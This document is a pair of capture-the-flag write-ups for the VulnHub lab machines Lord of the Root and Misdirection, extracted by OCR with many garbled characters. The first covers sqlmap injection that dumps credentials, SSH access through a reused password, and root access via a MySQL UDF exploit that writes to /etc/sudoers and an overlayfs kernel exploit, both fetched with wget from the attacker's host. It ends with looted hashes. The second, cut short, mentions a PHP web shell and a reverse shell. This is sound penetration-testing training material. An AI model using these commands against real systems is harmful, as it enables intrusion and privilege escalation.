Figure 4: writeup.enumeration.steps.3.1



root@kali: ~/toolbox/data/writeups/vulnhub.lordoftherootl0l # knock 192.168.92.151 1 2 3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-10 14:15 PDT

Warning: 192.168.92.151 giving up on port because retransmission cap hit (@).

Nmap scan report for 192.168.92.151

Host is up (0.08050s latency).

PORT STATE SERVICE
1/tcp filtered tcpmux
MAC Address: 00:0C:29:97:85:0D (VMware)

Mmap done: 1 IP address (1 host up) scanned in 8.33 seconds

Starting Mmap 7.70 ( https://nmap.org ) at 2019-10-10 14:15 PDT

Warning: 192.168.92.151 giving up on port because retransmission cap hit (@).
Mmap scan report for 192.168.92.151

Host is up (0.8813s latency).

PORT STATE SERVICE
2/tcp filtered compressnet
MAC Address: BB:0C:29:97:85:0D (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.46 seconds

Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-10 14:15 PDT

Warning: 192.168.92.151 giving up on port because retransmission cap hit (@).
Nmap scan report fer 192.168.92.151

Host is up (0.8016s5 latency).

PORT STATE SERVICE
3/tcp filtered compressnet
MAC Address: 00:0C:29:97:85:0D (VMware)

Mmap done: 1 IP address (1 host up) scanned in ©.47 seconds

Figure 5: writeup.enumeration.steps.3.2

root@kali: ~/toolbox/data/writeups/vulnhub.lordoftherootldol # nmap --reason -Pn -sV¥ -sC --version-all 192.168.92.151 -pl337,22
Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-10 15:56 PDT

Nmap scan report for 192.168.92.151

Host is up, received arp-response (0.00036s latency).

PORT STATE SERVICE REASON VERSION

22/tcp open ssh syn-ack ttl 64 OpenSSH 6.6.1pl Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.8)
| ssh-hostkey:

| 1024 3c:3d:e3:8e:35:79:da:74:20:ef:aa:49:4a:1d:ed:dd (DSA)

| 2048 B85:94:6c:87:¢c9:a8:35:0f:2c:db:bb:cl1:3f:2a:50:c1 (RSA)

| 256 f3:cd:aa:1d:05:72:1e:8c:61:87:25:b6:7T4:34:45:37 (ECDSA)

| 256 34:ec:16:dd:a7:cf:2a:86:45:ec:65:ea:05:43:89:21 (ED25519)
1337/tcp open http syn-ack ttl 64 Apache httpd 2.4.7 ((Ubuntu))
| http-server-header: Apache/2.4.7 (Ubuntu)

| _http-title: Site doesn't have a title (text/html).

MAC Address: 08:0C:29:97:85:0D (VMware)

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 12.06 seconds
root@kali: ~/toolbox/data/writeups/vulnhub.lordoftherootlol #

Figure 6: writeup.enumeration.steps.3.3

4. We see that the newly opened port is running a HTTP service. We explore it using a web browser. We find
a Base64 encoded text within HTML source of the robots.txt page. Upon decoding it twice we find a directory
path which leads to a login form:



http://192.168.92.151:1337/robots.txt
THprMO9ETTBOVE14TUM5cGJtUmx1QzV3YUhBPSBDbGO9zZXTh

b64d THprMO9ETTBOVE14TUM5cGJtUmx1QzV3YUhBPSBDbGOzZXIh
Lzk30DMONTIxMCO9pbmRleCbwaHA= Closer!

b64d Lzk30DMONTIxMCO9pbmRleCSwaHA=
/978345210/index . php

@ NewTab X | 192.168.92.151:1337/robots X | hittp://192.168.92.151:1337/1 X

& = { @ view-source:http://192.168.92.151:1337/robots.txt

links

<html=>

<img src="/images/hipster.ipg" align="middle"=
<|--THprMOSETTBOVEL4TUMS c6ItUmx 1 0zV3YUhBPSBDbGIzZXIh=
</html>

Figure 7: writeup.enumeration.steps.4.1

root@kali: ~/toolbox/data/writeups/vulnhub.lordoftherootl10l # b64d THprME9ETTBOVEL4TUMScGItUmx1QzV3YUhBPSBEDbG9ZzZXIh
Lzk30DMBNTIxMCOpbmRleCSwaHA= Closer!root@kali: ~/toolbox/data/writeups/vulnhub.lordoftherootlel #

root@kali: ~/toolbox/data/writeups/vulnhub.lordoftherootlel #

root@kali: ~/toolbox/data/writeups/vulnhub.lordoftherootlel #

root@kali: ~/toolbox/data/writeups/vulnhub.lordoftherootl10l # b64d Lzk30DMONTIXMC9pbmRleCSwaHA=
/978345210/index.phproot@kali: ~/toolbox/data/writeups/vulnhub.lordoftherootlel #

root@kali: ~/toolbox/data/writeups/vulnhub.lordoftherootlel #

root@kali: ~/toolbox/data/writeups/vulnhub.lordoftherootlel # curl -vvv "192.168.92.151:1337/978345210/index.php"
* Expire in @ ms for 6 (transfer @xlba@dde)

* Trying 192.168.92.151...

TCP_NODELAY set

Expire in 200 ms for 4 (transfer @xlba@dde)

Connected to 192.168.92.151 (192.168.92.151) port 1337 (#0)

GET /978345218/index.php HTTP/1.1

Host: 192.168.92.151:1337

User-Agent: curl/7.64.0

Accept: */%*

HTTP/1.1 200 OK

Date: Thu, 18 Oct 2019 13:58:34 GMT

Server: Apache/2.4.7 (Ubuntu)

X-Powered-By: PHP/5.5.9-1lubuntu4.11

Set-Cookie: PHPSESSID=c7u8ijajlibblt8fp6g9703q85; path=/
Expires: Thu, 19 Nov 1981 ©8:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate, post-check=8, pre-check=8
Pragma: no-cache

Vary: Accept-Encoding

Content-Length: 485

Content-Type: text/html

AAA A A A AN A AV Y Y YV E E w

Figure 8: writeup.enumeration.steps.4.2



@& NewTab ¥ | 192.168.92.151:1337/robots X | http://192.168.92.151:1337/ X | LOTR Login!

“ o o O 192.168.92.151:1337/978345210/index.php
B links

Welcome to the Gates of Mordor

User : |username
Passworé.:o+t+tooo+t

| Login |
Figure 9: writeup.enumeration.steps.4.3
Findings
Open Ports
22/tcp | ssh | OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)
1337/tcp | http | Apache httpd 2.4.7 ((Ubuntu))
Files

http://192.168.92.151:1337/robots. txt
http://192.168.92.151:1337/978345210/index . php

Users

ssh: smeagol
webapp: frodo, smeagol, aragorn, legolas, gimli



Phase #2: Exploitation

1. We run sqlmap against this login form and dump the contents of the backend database. Within this dump we
find credentials for five users:

sqlmap -u "http://192.168.92.151:1337/978345210/index.php" --batch --forms --dump

root@kali: ~/toolbox/data/writeups/vulnhub.lordoftheroot10l # sqlmap -u "http://192.168.92.151:1337/978345218/index.php" --batch --forms --dump
I 1.2.7#stable

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers $
ssume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 14:34:46

[#1] form:
POST http://192.168.92.151:1337/978345210/index.php
POST data: username=&password=&submit=%20Login%20
do you want to test this form? [V/n/ql
> v
Edit POST data [default: username=&password=&submit=%20Login%20] (Warning: blank fields detected): username=&password=&submit= Login
do you want to fill blank fields with random values? [Y/n] Y
it appears that provided value for POST parameter 'submit' has boundaries. Do you want to inject inside? (' Login* ') [y/N] N
47] [1 resuming d DB §

INF
[ 7] [INFO] heuristics ge t : 3
sqlmap resumed the following injection point(s) from stored session:

234pm.csv! as the CSV results file in multiple targets mode

Parameter: password (POST)
Type: AND/OR time-based blind
Title: MySQL »= 5.0.12 AND time-based blind (query SLEEP
Payload: username=admin&password=' AND (SELECT * FROM (SELECT(SLEEP(5)))GUNC)-- zjhk&submit= Login

do you want to exploit this SQL injection? [Y/nl Y
web server operating system: Linux Ubuntu

web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.0.12

Figure 10: writeup.exploitation.steps.1.1

Database: Webapp
Table: Users
[5 entries]

B Fommm e e o +
| id | username | password |
e e = o e e o e &
| 1 | frodo | iwilltakethering |
| 2 | smeagol | MyPreciousReet

| 3 | aragern | AndMySword |
| 4 | legolas | AndMyBow |
| 5 | gimli | AndMyAxe |
ey e e +

INFO]
[INFO]

file '/root/ lmap/o

ng in multiple targets moc

48]

it/results-10102019

[*] shutting down at 14:38:48

root@kali: ~/toolbox/data/writeups/vulnhub.lordoftherootlol #

Figure 11: writeup.exploitation.steps.1.2

2. We check if any of these users have a local account on the target system and if they have reused their web
application credentials for system login as well. We find that user smeagol has an account on the target system
and has reused their password. This gives us a local interactive SSH access on the target system:

ssh smeagol©192.168.92.151



root@kali: ~/toolbox/data/writeups/vulnhub.lordoftherootl10l # ssh smeagol@192.168.92.151

[ [ T A
| | PR Y| \ \ /!
| I I \ \ \ [
I \ A ¢
N/ N/ N/
\ Al e e e ) (S B T ARNS
\ VAR A R VR 2 G R [ R I DA SR e \ ] R ZRE A,
\ DAl I b == A | < | N N A CHIR I e A \ [{ <>) | S R ey T e
) A O - SO . B N o N R N ST SN [ S | N [ A - [JO A [ SRS |
N \/i \/ N \/ N S N\ N A\Y4 N/
Easy as 1,2,3
smeagol@l92.168.92.151's password:
Welcome teo Ubuntu 14.04.3 LTS (GNU/Linux 3.19.8-25-generic i686)
* Documentation: https://help.ubuntu.com/
| I (O U, S
| | A \ \ =
| [ I N \ \ [\
[ £ S IO
\/ \/ bio
&N £ N | LY / 1 s
A\ NN/ /7 i I NSNS Nl X | ) A8 CO .S [ S NoA
\ A ] I S S e G TR L | | \ [ /1 [y e
AL (O VO R & - S S | T VR S (R I e = | A |
\/ N e N/ \/ N/ \/ \/ LY 4

Last login: Thu Oct 10 ©8:14:22 2019 from 192.168.92.183
smeagol@LordofTheRoot:~%

Figure 12: writeup.exploitation.steps.2.1

Last login: Thu Oct 10 ©8:14:22 2819 from 192.168.92.183
smeagol@Lord0fTheRoot:~%
smeagol@Lord0fTheRoot:~% id
uid=1000(smeagol) gid=1000(smeagol) groups=1000(smeagol)
smeagol@Lord0fTheRoot:~%
smeagol@Lord0fTheRoot:~% uname -a
Linux LordOfTheRoot 3.19.0-25-generic #26~14.84.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 1686 1686 1686 GNU/Linux
smeagol@Lord0fTheRoot:~%
smeagol@Lord0fTheRoot:~$ ifconfig
ethe Link encap:Ethernet HWaddr ©0:0c:29:97:85:08d
inet addr:192.168.92.151 Bcast:192.168.92.255 Mask:255.255.255.0
inet6 addr: fe8@::20c:29ff:fe97:850d/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1588 Metric:1
RX packets:1435599 errors:39 dropped:11@ overruns:®@ frame:@
TX packets:690930 errors:0 dropped:® overruns:®@ carrier:@
collisions:® txqueuelen:1000
RX bytes:114165965 (114.1 MB) TX bytes:109568637 (109.5 MB)
Interrupt:19 Base address:0x2000

Figure 13: writeup.exploitation.steps.2.2

Phase #2.5: Post Exploitation

smeagol@Lord0fTheRoot> id
1uid=1000 (smeagol) gid=1000(smeagol) groups=1000(smeagol)
smeagol@Lord0OfTheRoot>
smeagol@Lord0fTheRoot> uname
Linux LordOfTheRoot 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 1686
o 1686 1686 GNU/Linuz
smeagol@Lord0fTheRoot>
smeagol@Lord0fTheRoot> ifconfig
ethO Link encap:Ethernet HWaddr 00:0c:29:97:85:0d
inet addr:192.168.92.151 Bcast:192.168.92.255 Mask:255.255.255.0
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inet6 addr: fe80::20c:29ff:fe97:850d/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1436389 errors:39 dropped:110 overruns:0 frame:0
TX packets:691018 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:114236583 (114.2 MB) TX bytes:109580367 (109.5 MB)
Interrupt:19 Base address:0x2000

smeagol@Lord0OfTheRoot>

smeagol@Lord0fTheRoot> users

root

smeagol

11
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Phase #3: Privilege Escalation

1. While exploring the web root directory we find mysql credentials within the login.php file. This will be useful
in next steps:

cd /var/www
grep -nir mysql ./

smeagol@Lord0fTheRoot: /var/www$ grep -nir mysql ./
./978345210/login.php:13: $db = new mysqgli (| NeTeERN Tof-5 RS o+ Toh a1t € ETi ", ' Webapp' ) ;
./978345210/1login.php:15: // To protect MySOL injection for Security purpose
smeagol@Lord0fTheRoot: /var/www$

Figure 14: writeup.privesc.steps.1.1

2. We find that mysql is running with elevated privileges. This opens the possibility of running the UDF exploit
and as such we look for 1ib_mysqludf_sys.so file on the target system. This file is not found so we have to use
an exploit to create one and use it from mysql shell (using credentials found in previous step):

ps aux | grep -i mysql

locate lib_mysqludf_sys.so

cd /tmp

wget http://192.168.92.183:9999/1518.c

smeagol@Lord0fTheRoot: /var/www$ locate lib mysqludf sys.so

smeagol@Lord0fTheRoot: /var/www

smeagol@Lord0fTheRoot: /var/wwwi

smeagol@LordOfTheRoot: /var/www$ ps aux | grep -1 mysqgl

1168 0.8 4.2 326900 43448 7 S5s1l @6:26 @:04 fusr/sbin/mysgld

smeagol 4497 9.0 0.1 4692 2004 pts/1 S+ 08:17 0:00 grep --color=auto -i mysql
smeagol@Lord0fTheRoot: /var/www

Figure 15: writeup.privesc.steps.2.1

3. We follow the steps mentioned within the exploit to compile and create the shared object file. We then connect
to the mysql shell, load the shared object and map it to a custom function called do_system. This function can
now be used to execute commands from within mysql shell with elevated privileges. We run a command to give all
permissions to user smeagol:

gcc -g —c 1518.c
gcc —-g -shared -Wl1l,-soname,1518.s0 -o 1518.s0 1518.0 -lc
mysql -u localhost -u root -p
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.s0'));
select * from foo into dumpfile '/usr/1ib/1518.s0';
create function do_system returns integer soname '1518.so0';
ERROR 1126 (HY000): Can't open shared library '1518.so' (errno: O
o /usr/lib/mysql/plugin/1518.so0: cannot open shared object file: No such file or directory)
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.s0';
create function do_system returns integer soname '1518.s0';
select do_system('echo "smeagol ALL =(ALL) NOPASSWD: ALL" >> /etc/sudoers');

12



smeagol@Lord0fTheRoot:/tmp$ wget http://192.168.92.183:9999/1518.¢
--2019-10-10 08:49:25-- http://192.168.92.183:9999/1518.c
Connecting to 192.168.92.183:9999... connected.

HTTP request sent, awaiting response... 200 OK

Length: 3378 (3.3K) [text/plain]

Saving to: ‘1518.c’

100%[ 1 3,378 --.-K/s  in @s

2019-10-10 08:49:25 (350 MB/s) - ‘1518.c’ saved [3378/3378]

smeagol@Lord0fTheRoot : /tmps$

Figure 16: writeup.privesc.steps.3.1

smeagol@Lord0fTheRoot:/tmp$ gcc -g -c 1518.c
smeagol@Lord0fTheRoot: /tmp$ 1s -la

total 46

drwxrwxrwt 4 root root 4096 Oct 10 08:49 I
drwxr-xr-x 23 root root 4096 Sep 22 2015
-rw-rw-r-- 1 smeagol smeagol 3378 Oct 10 2019 1518.c
-rw-rw-r-- 1 smeagol smeagol 3168 Oct 10 88:49 1518.0
-rwxrwxr-x 1 smeagol smeagol 8028 Oct 10 68:37 39166
-rw-rw-r-- 1 smeagol smeagol 2789 Oct 10 2019 39166.cC
drwxrwxrwt 2 root root 4096 Oct 10 06:26 [JHCERUNDIR
-r--r--r-- 1 root root 11 Oct 10 06:26 .X0-lock

drwxrwxrwt 2 root root 4096 Oct 10 06:26 (NI
smeagol@Lord0fTheRoot: /tmp$

smeagol@Lord0fTheRoot: /tmp$

smeagol@Lord0fTheRoot:/tmp$ gcc -g -shared -Wl,-soname,1518.s0 -o 1518.s0 1518.0 -1c
smeagol@Lord0fTheRoot: /tmp$ 1s -la

total 52

drwxrwxrwt 4 root root 4096 Oct 10 08:50 I
drwxr-xr-x 23 root root 4096 Sep 22 2015
-rw-rw-r-- 1 smeagol smeagol 3378 Oct 10 2019 1518.cC
-rw-rw-r-- 1 smeagol smeagol 3168 Oct 10 88:49 1518.0
-rwXrwxr-x 1 smeagol smeagol 8399 Oct 10 08:50 1518.s0
-rwXxrwxr-x 1 smeagol smeagol 8028 Oct 10 ©8:37 39166
-rw-rw-r-- 1 smeagol smeagol 2789 Oct 10 2019 39166.cC
drwxrwxrwt 2 root root 4096 Oct 10 06:26
-r--r--r-- 1 root root 11 Oct 10 06:26 .X0-lock

drwxrwxrwt 2 root root 4096 Oct 10 06:26 [N
smeagol@Lord0fTheRoot: /tmp$

Figure 17: writeup.privesc.steps.3.2
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smeagol@Lord0fTheRoot:/tmp$ mysql -u localhost -u root -p
Enter password:

Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 612

Server version: 5.5.44-Oubuntu@.14.04.1 (Ubuntu)

Copyright (c) 2800, 2015, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement

mysql> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> create table foo(line blob);
Query OK, ©® rows affected (8.01 sec)

mysql> insert into foo values(load file('/tmp/1518.s50'));
Query OK, 1 row affected (0.01 sec)

mysql> select * from foo into dumpfile 'fusr/1ibs/1518.s0';
Query OK, 1 row affected (0.80 sec)

mysql> create function do_system returns integer soname '1518.s50';

ERROR 1126 (HY®®80): Can't open shared library '1518.so' (errno: @ /usr/lib/mysql/plugin/1518.s0: cannot open shared object file: No such file or directory)
mysql>

mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.s50"

Query OK, 1 row affected (0.80 sec)

mysql> create function do_system returns integer soname '1518.so0';
Query OK, © rows affected (0.00 sec)

mysql> select * from mysql.func;

e Homee e Hoeeeaae +
| name | ret | dl | type |
R e Homen 4o Ao +
| do_system | 2 | 1518.s0 | function

e o o Homemmeee +

1 row in set (0.00 sec)

Figure 18: writeup.privesc.steps.3.3

mysql= select do system('echo "smeagol ALL =(ALL) NOPASSWD: ALL" == /etc/sudoers');

e +
| do system('echo "smeagol ALL =(ALL) NOPASSWD: ALL" => /fetc/sudoers') |
e i +
| 0 |
i e e -

1 row in set (0.00 sec)

mysql= Bye
smeagol@Lord0fTheRoot: /tmp$

Figure 19: writeup.privesc.steps.3.4

4. We can now exit from the mysql shell, check for user smeagol’s sudo privileges and switch to user root:

1 sudo -1
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smeagol@Lord0fTheRoot:~% sudo -1
Matching Defaults entries for smeagol on LordO0fTheRoot:
env _reset, mail badpass, secure path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User smeagol may run the following commands on LordOfTheRoot:
(ALL) NOPASSWD: ALL

smeagol@Lord0fTheRoot:~%

smeagol@Lord0fTheRoot:~% sudo su

root@Lord0fTheRoot: /home/smeagol#

root@LordofTheRoot: /home/smeagol# id

uid=0(root) gid=0(root) groups=8(root)

root@LordofTheRoot: /home/smeagol#

root@Lord0fTheRoot: /home/smeagol# uname -a

Linux LordofTheRoot 3.19.8-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:88 UTC 2815 1686 i686 1686 GNU/Linux

root@Lord0fTheRoot: /home/smeagol#

Figure 20: writeup.privesc.steps.4.1

5. Another way to gain elevated privileges is to run the overlayfs exploit on the target system because it has a
kernel compiled before 2015-12-26:

cd /tmp

wget http://192.168.92.183:9999/39166.c
gcc -o 39166 39166.c

./39166

smeagol@Lord0ofTheRoot:/var/www$ wget http://192.168.92.183:9999/39166.C
--2019-10-10 ©8:36:47-- http://192.168.92.183:9999/39166.C

Connecting to 192.168.92.183:9999... connected.

HTTP request sent, awaiting response... 200 0K

Length: 2789 (2.7K) [text/plain]

39166.c: Permission denied

Cannot write to ‘39166.c’ (Permission denied).
smeagol@Lord0fTheRoot : /var/wwws$

smeagol@Lord0fTheRoot : /var/wuw$

smeagol@Lord0fTheRoot: /var/wuw$ cd /tmp
smeagol@Lord0fTheRoot:/tmp$ wget http://192.168.92.183:9999/39166.c
--2019-10-10 ©8:36:51-- http://192.168.92.183:9999/39166.C
Connecting to 192.168.92.183:9999... connected.

HTTP request sent, awaiting response... 200 OK

Length: 2789 (2.7K) [text/plain]

Saving to: ‘39166.c’

100%[ 12,789 --.-K/s in es

2019-10-10 08:36:51 (175 MB/s) - ‘39166.c’ saved [2789/2789]

smeagol@Lord0fTheRoot : /tmp$

Figure 21: writeup.privesc.steps.5.1
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smeagol@Lord0fTheRoot:/tmp$ gcc -o 39166 39166.cC
smeagol@Lord0fTheRoot:/tmp$ 1s -la

total 32

drwxrwxrwt 4 root root 4096 Oct 10 08:37 I
drwxr-xr-x 23 root root 4096 Sep 22 2015 ..
-rwxrwxr-x 1 smeagol smeagol 8828 Oct 1@ 88:37 39166
-rw-rw-r-- 1 smeagol smeagol 2789 Oct 1@ 2819 39166.cC
drwxrwxrwt 2 root root 4096 Oct 10 06:26
-r--r--r-- 1 root root 11 Oct 10 06:26 .X0-lock

drwxrwxrwt 2 root root 4096 Oct 10 06:26
smeagol@Lord0fTheRoot: /tmp$
smeagol@Lord0fTheRoot: /tmp$ ./39166
root@Lord0fTheRoot: /tmp# id
uid=8(root) gid=1000(smeagol) groups=0(root),1000(smeagol)
root@Lord0fTheRoot: /tmp#
root@Lord0fTheRoot: /tmp# uname -a
Linux Lord0fTheRoot 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 1686 1686 1686 GNU/Linux
root@Lord0fTheRoot: /tmp#
root@Lord0fTheRoot: /tmp# ifconfig
ethe Link encap:Ethernet HWaddr ©0:0c:29:97:85:0d
inet addr:192.168.92.151 Bcast:192.168.92.255 Mask:255.255.255.0
inet6 addr: fe8@::20c:29ff:fe97:850d/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:158@ Metric:1
RX packets:1431379 errors:39 dropped:110 overruns:®@ frame:@
TX packets:688741 errors:0 dropped:® overruns:® carrier:@
collisions:® txqueuelen:1000
RX bytes:113772966 (113.7 MB) TX bytes:109257820 (109.2 MB)
Interrupt:19 Base address:0x2000

Figure 22: writeup.privesc.steps.5.2

6. Once we have elevated privileges, we can view the contents of the /root/Flag.txt file to complete the challenge:

cat /root/Flag.txt

root@Lord0fTheRoot:/root# cat Flag.txt

“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power."
— Gandalf

root@Lord0fTheRoot: /root#

Figure 23: writeup.privesc.steps.6.1
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Loot
Hashes

root:$6$cQPCchYp$rWjOEHFA7iuaGk/ |

< DQdkG6Dhhfm3.hTaNZP04MoyBz2.bn44fERc(23XCsp43L0t5NReEUjwDF8WDabilM. ... ..o oo
smeagol: $6$vu8Pfezj$61dY35ytL8yRd . Gp947FnW3t/ |

~  WrMZXIL7sqTQS4wuSKeAiYeoYCy7yfS2rBpAPvFCPuo73phXmpOoLsgh.......... ...t

Credentials

webapp: frodo/iwilltaketh..... , smeagol/MyPreciou..... , aragorn/AndMyS...., legolas/AndM....,
o gimli/AndMy. ..

mysql: root/darksha...

ssh: smeagol/MyPreciou.....

References
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[+] https://blog.geoda-security.com/2017/02 /lord-of-r00t-walkthrough.html

[+] http://www.jkeybersecurity.org/2016/11/vulnhub-lord-of-root-writeup.html
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[VulnHub] Misdirection: 1

Date: 11/0ct/2019

Categories: oscp, vulnhub, linux
Tags: exploit_ php_ webshell, exploit_ bash_ reverseshell, privesc_ sudoers, privesc_ passwd_ writable

Overview

This is a writeup for VulnHub VM Misdirection: 1. Here are stats for this machine from machinescli:

machinescli -t --info misdirection

# ID Name Rating Difficulty 0S 0SCPlike  Owned TTPs

1: vulnhub#371  Misdirection: 1
privesc_sudoers

privesc_passwd_writable

Figure 1: writeup.overview.machinescli

Killchain

Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:


https://www.vulnhub.com/entry/misdirection-1,371/
https://github.com/7h3rAm/writeups/search?q=oscp&unscoped_q=oscp
https://github.com/7h3rAm/writeups/search?q=vulnhub&unscoped_q=vulnhub
https://github.com/7h3rAm/writeups/search?q=linux&unscoped_q=linux
https://github.com/7h3rAm/writeups/search?q=exploit_php_webshell&unscoped_q=exploit_php_webshell
https://github.com/7h3rAm/writeups/search?q=exploit_bash_reverseshell&unscoped_q=exploit_bash_reverseshell
https://github.com/7h3rAm/writeups/search?q=privesc_sudoers&unscoped_q=privesc_sudoers
https://github.com/7h3rAm/writeups/search?q=privesc_passwd_writable&unscoped_q=privesc_passwd_writable
https://www.vulnhub.com/entry/misdirection-1,371/
https://github.com/7h3rAm/machinescli

[VulnHuhb] Misdirection: 1

' 192.168.92.187 |

L
‘Phase #1: Enumeration‘

. . . ¥ . L 4
22/tcp < | 80/tcp ‘3395;tcp‘;{aaaﬂ;tcp‘
4
‘http:fﬁlBZ.168.92.18?:Sﬂaﬂjdebug‘

¥
‘php web shell‘

¥

Phase #2: Exploitation

l

bash reverse shell

L
netcat (www-data)

; h 4 .
Phase #3: Privilege Escalation

. Y )
sudo -1 - user brexit can run bash

. h 4 :
switch to user brexit: sudo -u brexit bash

h 4
add a new root user entry to passwd file

¥
‘root‘

Figure 2: Writeupéoverview.killchain



TTPs

1. 8080/tcp/http/Apache httpd 2.4.29 ((Ubuntu)): exploit_php_webshell, exploit_bash_reverseshell,
privesc_ sudoers, privesc_passwd__ writable


https://github.com/7h3rAm/writeups#exploit_php_webshell
https://github.com/7h3rAm/writeups#exploit_bash_reverseshell
https://github.com/7h3rAm/writeups#privesc_sudoers
https://github.com/7h3rAm/writeups#privesc_passwd_writable
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Phase #1: Enumeration
1. Here’s the Nmap scan result:

# Nmap 7.70 scan initiated Frt Oct 11 12:13:32 2019 as: mmap —-vv —--reason —Pn -sV -sC

o —-version-all -oN

s /root/toolboz/writeups/vulnhub.misdirectionl/results/192.168.92.187/scans/_quick_tcp_nmap.tzt
o —0X

s /root/toolboz/writeups/vulnhub.misdirectionl/results/192.168.92.187/scans/zml/_quick_tcp_nmap.zml
o 192.168.92.187

Nmap scan report for 192.168.92.187

Host is up, received arp-response (0.00080s latency) .

Scanned at 2019-10-11 12:13:33 PDT for 25s

Not shown: 996 closed ports

Reason: 996 resets

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 7.6pl Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol
s 2.0)

| ssh-hostkey:

| 2048 ec:bb:44:ee:£3:33:af:9f:ab:ce:b5:77:61:45:e4:36 (RSA)

| ssh-rsa

= AAAAB3NzaClyc2EAAAADAQABAAABAQCkS5yl+Dpb7vsMGbzAHXBYrVSUNTh4kYGh8zajM3ZujGOXHLvgkW7xJ6F/ |
~ meai9IrCBbgTq7+tTsn+fgNkOcAZugz4h+vwmbekXe5szPPHNXNU1KuNAQORChOk7 T/ |

< 2pWjtsESiF6yF1h1UA2vBKqrTWVUSvrGWswdFRMWICKWiFXwl1Tv93STPsKHYoVbq74v2y1mVOLn+

= 3JNMmRNCBFqh8Z2x+1DTep0YY8vIV325iRK5ROKCIAPeyX33uoxQ/cYrdPIS+Whs9QX0C+W343HE2Ypq93h3/ |
< g3NNmb4LvZdE6X2vTUcUHGAvK2gU+dWQOiDhCpMDv3wiEAwG1£87P5

| 256 67:7b:cb:4e:95:1b:78:08:8d:2a:b1:47:04:8d:62:87 (ECDSA)

| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAATbm1zdHAyNTYAAABBBM+

~  YEivOAQHPD1FWduSuOjAjuJtfC9v/KW2uYB85gxQuibGIQZhFPcxwPEUf7UvQ/abfr/keKYF2Kd1d6g044 Y=
| 256 59:04:1d:25:11:6d:89:a3:6c:6d:e4:e3:d2:3c:da:7d (ED25519)

| _ssh-ed25519 AAAAC3NzaC11ZDIINTESAAAATIFHxbfiqinvu3cV7JoKrOF3w64zk+ONOh+/2nu+Z20Mk

80/tcp open http syn-ack ttl 64 Rocket httpd 1.2.6 (Python 2.7.15rcl)

| http-methods:

|_ Supported Methods: GET POST OPTIONS

| _http-server-header: Rocket 1.2.6 Python/2.7.1brcl

| _http-title: Site doesn't have a title (text/html; charset=utf-8).

3306/tcp open mysql syn-ack ttl 64 MySQL (unauthorized)

8080/tcp open http syn-ack ttl 64 Apache httpd 2.4.29 ((Ubuntu))

| http-methods:

| _ Supported Methods: GET POST OPTIONS HEAD

| _http-open-proxy: Proxy might be redirecting requests

| _http-server-header: Apache/2.4.29 (Ubuntu)

| _http-title: Apache2 Ubuntu Default Page: It works

MAC Address: 00:0C:29:F0:F4:AE (VMware)

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/

# Nmap done at Fri Oct 11 12:13:58 2019 -- 1 IP address (1 host up) scanned in 26.69 seconds

2. Here’s the summary of open ports and associated AutoRecon scan files:


https://github.com/Tib3rius/AutoRecon

openports

# Port Protocol  Service Scans

1.  22/tep ssh ttl 64 OpenSSH 7.6pl Ubuntu &4ubuntu@.3 (Ubuntu Linux protocol 2.8) ./results/192.168.92.187/scans/tcp_22_ssh_nmap.txt
2,

3.

./results/192.
./results/192.
4. 8@80/tcp  http ttl 64 Apache httpd 2.4.29 ((Ubuntu)) ./results/192.
./results/192.
./results/192.

168.92

187/scans/tcp_8080_http_gobuster.txt

.187/scans/tcp_8080_http_nikto.txt
168.92.
168.92.
.187/scans/tcp_8880_http_whatweb.txt

187/scans/tcp_8@80_http_nmap.txt
187/scans/tcp_8086_http_robots.txt

Figure 3: writeup.enumeration.steps.2.1

3. We start with 8080/tcp service. There are some interesting hits from gobuster scan:

http://192.168.92.187:8080/debug (Status: 301)
http://192.168.92.187:8080/shell (Status: 301)
http://192.168.92.187:8080/wordpress (Status: 301)

4. Upon checking out the /debug url, we find that it has a PHP web shell called pOwny-shell. This is a huge

convenience as we can now spawn a reverse shell and get fully interactive access:

@ New Tab X | pOwny@shell:~# x|+

@ | 192.168.92.187:8080/debug/
S links

data) groups=33(www-data)

ame -a

